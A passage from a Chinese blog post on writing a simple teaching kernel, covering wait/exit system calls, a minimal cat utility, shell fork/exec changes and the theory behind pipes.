src="/2020/06/11/简单内核实现笔记-part-4/114.png" alt></p><h2 id="实现wait和exit"><a href="#实现wait和exit" class="headerlink" title="实现wait和exit"></a>实现wait和exit</h2><p>exit作用就是结束进程，wait作用是阻塞父进程自己，直到子进程结束运行，若没有子进程则返回-1，若有则遍历找到其子进程然后等待子进程退出后唤醒父进程。exit是由子进程调用，表面上功能是使子进程结束运行并传递返回值给内核，本质上内核在幕后会将进程除pcb以外的所有资源回收。wait是父进程调用的，表面上功能是使父进程阻塞自己，直到进程调用exit结束运行，然后获得子进程返回值，本质上是内核在幕后将子进程的返回值传递给父进程并唤醒父进程，然后将子进程的pcb回收。下面是实现部分，首先是释放用户进程资源的函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 释放用户进程资源: </span></span><br><span class="line"><span class="comment"> * 1 页表中对应的物理页</span></span><br><span class="line"><span class="comment"> * 2 虚拟内存池占物理页框</span></span><br><span class="line"><span class="comment"> * 3 关闭打开的文件 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">release_prog_resource</span><span class="params">(struct task_struct* release_thread)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span>* pgdir_vaddr = release_thread-&gt;pgdir;</span><br><span class="line">   <span class="keyword">uint16_t</span> user_pde_nr = <span class="number">768</span>, pde_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> pde = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span>* v_pde_ptr = <span class="literal">NULL</span>;    <span class="comment">// v表示var,和函数pde_ptr区分</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint16_t</span> user_pte_nr = <span class="number">1024</span>, pte_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> pte = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span>* v_pte_ptr = <span class="literal">NULL</span>;    <span class="comment">// 加个v表示var,和函数pte_ptr区分</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span>* first_pte_vaddr_in_pde = <span class="literal">NULL</span>;<span class="comment">// 用来记录pde中第0个pte的地址</span></span><br><span class="line">   <span class="keyword">uint32_t</span> pg_phy_addr = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 回收页表中用户空间的页框 */</span></span><br><span class="line">   <span class="keyword">while</span> (pde_idx &lt; user_pde_nr) &#123;</span><br><span class="line">      v_pde_ptr = pgdir_vaddr + pde_idx;</span><br><span class="line">      pde = *v_pde_ptr;</span><br><span class="line">      <span class="keyword">if</span> (pde &amp; <span class="number">0x00000001</span>) &#123;   <span class="comment">// 如果页目录项p位为1,表示该页目录项下可能有页表项</span></span><br><span class="line"> first_pte_vaddr_in_pde = pte_ptr(pde_idx * <span class="number">0x400000</span>);  <span class="comment">// 一个页表表示的内存容量是4M,即0x400000</span></span><br><span class="line"> pte_idx = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> (pte_idx &lt; user_pte_nr) &#123;</span><br><span class="line">    v_pte_ptr = first_pte_vaddr_in_pde + pte_idx;</span><br><span class="line">    pte = *v_pte_ptr;</span><br><span class="line">    <span class="keyword">if</span> (pte &amp; <span class="number">0x00000001</span>) &#123;</span><br><span class="line">       <span class="comment">/* 将pte中记录的物理页框直接在相应内存池的位图中清0 */</span></span><br><span class="line">       pg_phy_addr = pte &amp; <span class="number">0xfffff000</span>;</span><br><span class="line">       free_a_phy_page(pg_phy_addr);</span><br><span class="line">    &#125;</span><br><span class="line">    pte_idx++;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="comment">/* 将pde中记录的物理页框直接在相应内存池的位图中清0 */</span></span><br><span class="line"> pg_phy_addr = pde &amp; <span class="number">0xfffff000</span>;</span><br><span class="line"> free_a_phy_page(pg_phy_addr);</span><br><span class="line">      &#125;</span><br><span class="line">      pde_idx++;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 回收用户虚拟地址池所占的物理内存*/</span></span><br><span class="line">   <span class="keyword">uint32_t</span> bitmap_pg_cnt = (release_thread-&gt;userprog_vaddr.vaddr_bitmap.btmp_bytes_len) / PG_SIZE;</span><br><span class="line">   <span class="keyword">uint8_t</span>* user_vaddr_pool_bitmap = release_thread-&gt;userprog_vaddr.vaddr_bitmap.bits;</span><br><span class="line">   mfree_page(PF_KERNEL, user_vaddr_pool_bitmap, bitmap_pg_cnt);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 关闭进程打开的文件 */</span></span><br><span class="line">   <span class="keyword">uint8_t</span> fd_idx = <span class="number">3</span>;</span><br><span class="line">   <span class="keyword">while</span>(fd_idx &lt; MAX_FILES_OPEN_PER_PROC) &#123;</span><br><span class="line">      <span class="keyword">if</span> (release_thread-&gt;fd_table[fd_idx] != <span class="number">-1</span>) &#123;</span><br><span class="line"> sys_close(fd_idx);</span><br><span class="line">      &#125;</span><br><span class="line">      fd_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是list_traversal回调三个函数，find_child功能是查找pelem的parent_pid是否是ppid，具体实现就是找父进程pid为ppid的子进程。find_hanging_child负责查找状态为TASK_HANGING的任务。init_adopt_a_child负责将一个子进程过继给init，使init作为该进程的父进程。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* list_traversal的回调函数,</span></span><br><span class="line"><span class="comment"> * 查找pelem的parent_pid是否是ppid,成功返回true,失败则返回false */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">bool</span> <span class="title">find_child</span><span class="params">(struct list_elem* pelem, <span class="keyword">int32_t</span> ppid)</span> </span>&#123;</span><br><span class="line">   <span class="comment">/* elem2entry中间的参数all_list_tag取决于pelem对应的变量名 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">pthread</span> = <span class="title">elem2entry</span>(<span class="title">struct</span> <span class="title">task_struct</span>, <span class="title">all_list_tag</span>, <span class="title">pelem</span>);</span></span><br><span class="line">   <span class="keyword">if</span> (pthread-&gt;parent_pid == ppid) &#123;     <span class="comment">// 若该任务的parent_pid为ppid,返回</span></span><br><span class="line">      <span class="keyword">return</span> <span class="literal">true</span>;   <span class="comment">// list_traversal只有在回调函数返回true时才会停止继续遍历,所以在此返回true</span></span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;     <span class="comment">// 让list_traversal继续传递下一个元素</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* list_traversal的回调函数,</span></span><br><span class="line"><span class="comment"> * 查找状态为TASK_HANGING的任务 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">bool</span> <span class="title">find_hanging_child</span><span class="params">(struct list_elem* pelem, <span class="keyword">int32_t</span> ppid)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">pthread</span> = <span class="title">elem2entry</span>(<span class="title">struct</span> <span class="title">task_struct</span>, <span class="title">all_list_tag</span>, <span class="title">pelem</span>);</span></span><br><span class="line">   <span class="keyword">if</span> (pthread-&gt;parent_pid == ppid &amp;&amp; pthread-&gt;status == TASK_HANGING) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>; </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* list_traversal的回调函数,</span></span><br><span class="line"><span class="comment"> * 将一个子进程过继给init */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">bool</span> <span class="title">init_adopt_a_child</span><span class="params">(struct list_elem* pelem, <span class="keyword">int32_t</span> pid)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">pthread</span> = <span class="title">elem2entry</span>(<span class="title">struct</span> <span class="title">task_struct</span>, <span class="title">all_list_tag</span>, <span class="title">pelem</span>);</span></span><br><span class="line">   <span class="keyword">if</span> (pthread-&gt;parent_pid == pid) &#123;     <span class="comment">// 若该进程的parent_pid为pid,返回</span></span><br><span class="line">      pthread-&gt;parent_pid = <span class="number">1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;<span class="comment">// 让list_traversal继续传递下一个元素</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面就是sys_wait和sys_exit的具体实现，注释比较详尽</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 等待子进程调用exit,将子进程的退出状态保存到status指向的变量.</span></span><br><span class="line"><span class="comment"> * 成功则返回子进程的pid,失败则返回-1 */</span></span><br><span class="line"><span class="keyword">pid_t</span> sys_wait(<span class="keyword">int32_t</span>* status) &#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">parent_thread</span> = <span class="title">running_thread</span>();</span> <span class="comment">// 获得当前任务，也就是父进程parent_thread</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      <span class="comment">/* 优先处理已经是挂起状态的任务 */</span></span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">list_elem</span>* <span class="title">child_elem</span> = <span class="title">list_traversal</span>(&amp;<span class="title">thread_all_list</span>, <span class="title">find_hanging_child</span>, <span class="title">parent_thread</span>-&gt;<span class="title">pid</span>);</span></span><br><span class="line">      <span class="comment">/* 若有挂起的子进程 */</span></span><br><span class="line">      <span class="keyword">if</span> (child_elem != <span class="literal">NULL</span>) &#123;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">child_thread</span> = <span class="title">elem2entry</span>(<span class="title">struct</span> <span class="title">task_struct</span>, <span class="title">all_list_tag</span>, <span class="title">child_elem</span>);</span></span><br><span class="line"> *status = child_thread-&gt;exit_status; </span><br><span class="line"></span><br><span class="line"> <span class="comment">/* thread_exit之后,pcb会被回收,因此提前获取pid */</span></span><br><span class="line"> <span class="keyword">uint16_t</span> child_pid = child_thread-&gt;pid;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 2 从就绪队列和全部队列中删除进程表项*/</span></span><br><span class="line"> thread_exit(child_thread, <span class="literal">false</span>); <span class="comment">// 传入false,使thread_exit调用后回到此处</span></span><br><span class="line"> <span class="comment">/* 进程表项是进程或线程的最后保留的资源, 至此该进程彻底消失了 */</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> child_pid;</span><br><span class="line">      &#125; </span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 判断是否有子进程 */</span></span><br><span class="line">      child_elem = list_traversal(&amp;thread_all_list, find_child, parent_thread-&gt;pid);</span><br><span class="line">      <span class="keyword">if</span> (child_elem == <span class="literal">NULL</span>) &#123; <span class="comment">// 若没有子进程则出错返回</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="comment">/* 若子进程还未运行完,即还未调用exit,则将自己挂起,直到子进程在执行exit时将自己唤醒 */</span></span><br><span class="line"> thread_block(TASK_WAITING); </span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 子进程用来结束自己时调用 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sys_exit</span><span class="params">(<span class="keyword">int32_t</span> status)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">child_thread</span> = <span class="title">running_thread</span>();</span> <span class="comment">// 获得自己的pcb，也就是child_thread</span></span><br><span class="line">   child_thread-&gt;exit_status = status; <span class="comment">// 将status存入自己pcb的exit_status</span></span><br><span class="line">   <span class="keyword">if</span> (child_thread-&gt;parent_pid == <span class="number">-1</span>) &#123;</span><br><span class="line">      PANIC(<span class="string">"sys_exit: child_thread-&gt;parent_pid is -1\n"</span>);</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 将进程child_thread的所有子进程都过继给init */</span></span><br><span class="line">   list_traversal(&amp;thread_all_list, init_adopt_a_child, child_thread-&gt;pid);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 回收进程child_thread的资源 */</span></span><br><span class="line">   release_prog_resource(child_thread); </span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 如果父进程正在等待子进程退出,将父进程唤醒 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">parent_thread</span> = <span class="title">pid2thread</span>(<span class="title">child_thread</span>-&gt;<span class="title">parent_pid</span>);</span></span><br><span class="line">   <span class="keyword">if</span> (parent_thread-&gt;status == TASK_WAITING) &#123;</span><br><span class="line">      thread_unblock(parent_thread);</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 将自己挂起,等待父进程获取其status,并回收其pcb */</span></span><br><span class="line">   thread_block(TASK_HANGING);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实现cat"><a href="#实现cat" class="headerlink" title="实现cat"></a>实现cat</h2><p>cat负责查看文件内容，我们这里实现一个简单的cat，只支持一个参数，下面是实现，首先判断参数是否为一个，然后用malloc申请1024字节的内存用作缓冲区buf，512字节的abs_path用于存储参数的绝对路径</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"syscall.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdio.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"string.h"</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>** argv)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">if</span> (argc &gt; <span class="number">2</span> || argc == <span class="number">1</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"cat: only support 1 argument.\neg: cat filename\n"</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">-2</span>);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">int</span> buf_size = <span class="number">1024</span>;</span><br><span class="line">   <span class="keyword">char</span> abs_path[<span class="number">512</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">   <span class="keyword">void</span>* buf = <span class="built_in">malloc</span>(buf_size);</span><br><span class="line">   <span class="keyword">if</span> (buf == <span class="literal">NULL</span>) &#123; </span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"cat: malloc memory failed\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">if</span> (argv[<span class="number">1</span>][<span class="number">0</span>] != <span class="string">'/'</span>) &#123;</span><br><span class="line">      getcwd(abs_path, <span class="number">512</span>);</span><br><span class="line">      <span class="built_in">strcat</span>(abs_path, <span class="string">"/"</span>);</span><br><span class="line">      <span class="built_in">strcat</span>(abs_path, argv[<span class="number">1</span>]);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="built_in">strcpy</span>(abs_path, argv[<span class="number">1</span>]);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">int</span> fd = open(abs_path, O_RDONLY);</span><br><span class="line">   <span class="keyword">if</span> (fd == <span class="number">-1</span>) &#123; </span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"cat: open: open %s failed\n"</span>, argv[<span class="number">1</span>]);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">int</span> read_bytes= <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">      read_bytes = read(fd, buf, buf_size);</span><br><span class="line">      <span class="keyword">if</span> (read_bytes == <span class="number">-1</span>) &#123; <span class="comment">// 返回-1也就读到了文件尾</span></span><br><span class="line">         <span class="keyword">break</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      write(<span class="number">1</span>, buf, read_bytes);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="built_in">free</span>(buf);</span><br><span class="line">   close(fd);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">66</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面修改shell.c的文件，把之前的while(1)替换掉</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">    &#125; <span class="keyword">else</span> &#123;      <span class="comment">// 如果是外部命令,需要从磁盘上加载</span></span><br><span class="line"><span class="keyword">int32_t</span> pid = fork();</span><br><span class="line"><span class="keyword">if</span> (pid) &#123;   <span class="comment">// 父进程</span></span><br><span class="line">   <span class="keyword">int32_t</span> status;</span><br><span class="line">   <span class="keyword">int32_t</span> child_pid = wait(&amp;status);          <span class="comment">// 此时子进程若没有执行exit,my_shell会被阻塞,不再响应键入的命令</span></span><br><span class="line">   <span class="keyword">if</span> (child_pid == <span class="number">-1</span>) &#123;     <span class="comment">// 按理说程序正确的话不会执行到这句,fork出的进程便是shell子进程</span></span><br><span class="line">      panic(<span class="string">"my_shell: no child\n"</span>);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"child_pid %d, it's status: %d\n"</span>, child_pid, status);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;   <span class="comment">// 子进程</span></span><br><span class="line">   make_clear_abs_path(argv[<span class="number">0</span>], final_path);</span><br><span class="line">   argv[<span class="number">0</span>] = final_path;</span><br><span class="line">   <span class="comment">/* 先判断下文件是否存在 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">file_stat</span>;</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;file_stat, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct stat));</span><br><span class="line">   <span class="keyword">if</span> (stat(argv[<span class="number">0</span>], &amp;file_stat) == <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"my_shell: cannot access %s: No such file or directory\n"</span>, argv[<span class="number">0</span>]);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      execv(argv[<span class="number">0</span>], argv);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>下面是main中测试代码，把cat写入分区sda的根目录</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line"></span><br><span class="line"><span class="comment">/*************    写入应用程序    *************/</span></span><br><span class="line">   <span class="keyword">uint32_t</span> file_size = <span class="number">5476</span>; </span><br><span class="line">   <span class="keyword">uint32_t</span> sec_cnt = DIV_ROUND_UP(file_size, <span class="number">512</span>);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">disk</span>* <span class="title">sda</span> = &amp;<span class="title">channels</span>[0].<span class="title">devices</span>[0];</span></span><br><span class="line">   <span class="keyword">void</span>* prog_buf = sys_malloc(file_size);</span><br><span class="line">   ide_read(sda, <span class="number">300</span>, prog_buf, sec_cnt);</span><br><span class="line">   <span class="keyword">int32_t</span> fd = sys_open(<span class="string">"/cat"</span>, O_CREAT|O_RDWR);</span><br><span class="line">   <span class="keyword">if</span> (fd != <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="keyword">if</span>(sys_write(fd, prog_buf, file_size) == <span class="number">-1</span>) &#123;</span><br><span class="line">         printk(<span class="string">"file write error!\n"</span>);</span><br><span class="line">         <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line"><span class="comment">/*************    写入应用程序结束   *************/</span></span><br><span class="line">   cls_screen();</span><br><span class="line">   console_put_str(<span class="string">"[rabbit@localhost /]$ "</span>);</span><br><span class="line">   thread_exit(running_thread(), <span class="literal">true</span>); <span class="comment">// 退出主线程</span></span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* init进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">init</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> ret_pid = fork();</span><br><span class="line">   <span class="keyword">if</span>(ret_pid) &#123;  <span class="comment">// 父进程</span></span><br><span class="line">      <span class="keyword">int</span> status;</span><br><span class="line">      <span class="keyword">int</span> child_pid;</span><br><span class="line">       <span class="comment">/* init在此处不停的回收僵尸进程 */</span></span><br><span class="line">       <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">  child_pid = wait(&amp;status);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"I`m init, My pid is 1, I recieve a child, It`s pid is %d, status is %d\n"</span>, child_pid, status);</span><br><span class="line">       &#125;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;  <span class="comment">// 子进程</span></span><br><span class="line">      my_shell();</span><br><span class="line">   &#125;</span><br><span class="line">   panic(<span class="string">"init: should not be here"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/115.png" alt></p><h2 id="管道"><a href="#管道" class="headerlink" title="管道"></a>管道</h2><h3 id="管道原理"><a href="#管道原理" class="headerlink" title="管道原理"></a>管道原理</h3><p>进程虽然是独立的，但有很多相互通信的例子，比如进程A传消息给进程B等，实现这种相互通信的机制有很多方法，如消息队列、共享内存、socket网络通信等，还有一种就是我们要实现的管道。Linux中一切皆文件，故管道也是文件，只是其存在于内存中，仍然可以用open、close等函数操作。管道通常被多个进程共享，其原理是所有进程在地址空间中都可以访问它，也就是内核中的内存缓冲区。</p><p>管道是数据的一个中转站，当某个进程往管道中写入数据后，该数据就会被另一个进程读取，之后用新的数据覆盖旧数据，既然是一块数据缓存区，就应该有一个大小。但是由于写入的数据大小是不确定的，这块缓存区的大小很难确定下来，一般来说会使用环形缓存区来存储数据，通过生产者消费者模型对这块环形缓冲区的数据进行读写。这个环形缓冲区用两个指针来维护，一个专门负责读，一个专门负责写，当缓冲区数据满时，生产者睡眠并唤醒消费者。缓冲区空时，消费者睡眠，唤醒生产者。</p><p>管道有两端，一端用来读，一端用来写。这个两端的概念实质上是内核为一个管道分配了两个文件描述符，一个负责写，一个负责读。它的模型如下图</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/116.png" alt></p><p>管道不可能字节读写自己，所以一般操作是创建管道之后，fork子进程，这个子进程和父进程资源一样，所以两者可以相互实现通信，如下图所示</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/117.png" alt></p><p>管道分为匿名管道和命名管道，其区别就是名称，没有名称也就只能用内核返回的文件描述符访问，仅仅局限于父子进程通信。有名称就可以实现对所有进程通信。</p><p>Linux为了向文件系统的上层提供统一接口，加了一层中间层VFS(virtual file system)，Linux处理管道时是利用现有的文件结构和VFS中inode共同完成的，并没有为管道提供另外的数据结构。如下图所示，文件结构中的f_indoe指向VFS的inode，该inode指向一个页框大小的内存区域，该区域用于存储管道的数据，也就是说Linux的管道大小是4096字节</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/118.png" alt></p><p>我们的管道设计图如下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/119.png" alt></p><h3 id="管道实现"><a href="#管道实现" class="headerlink" 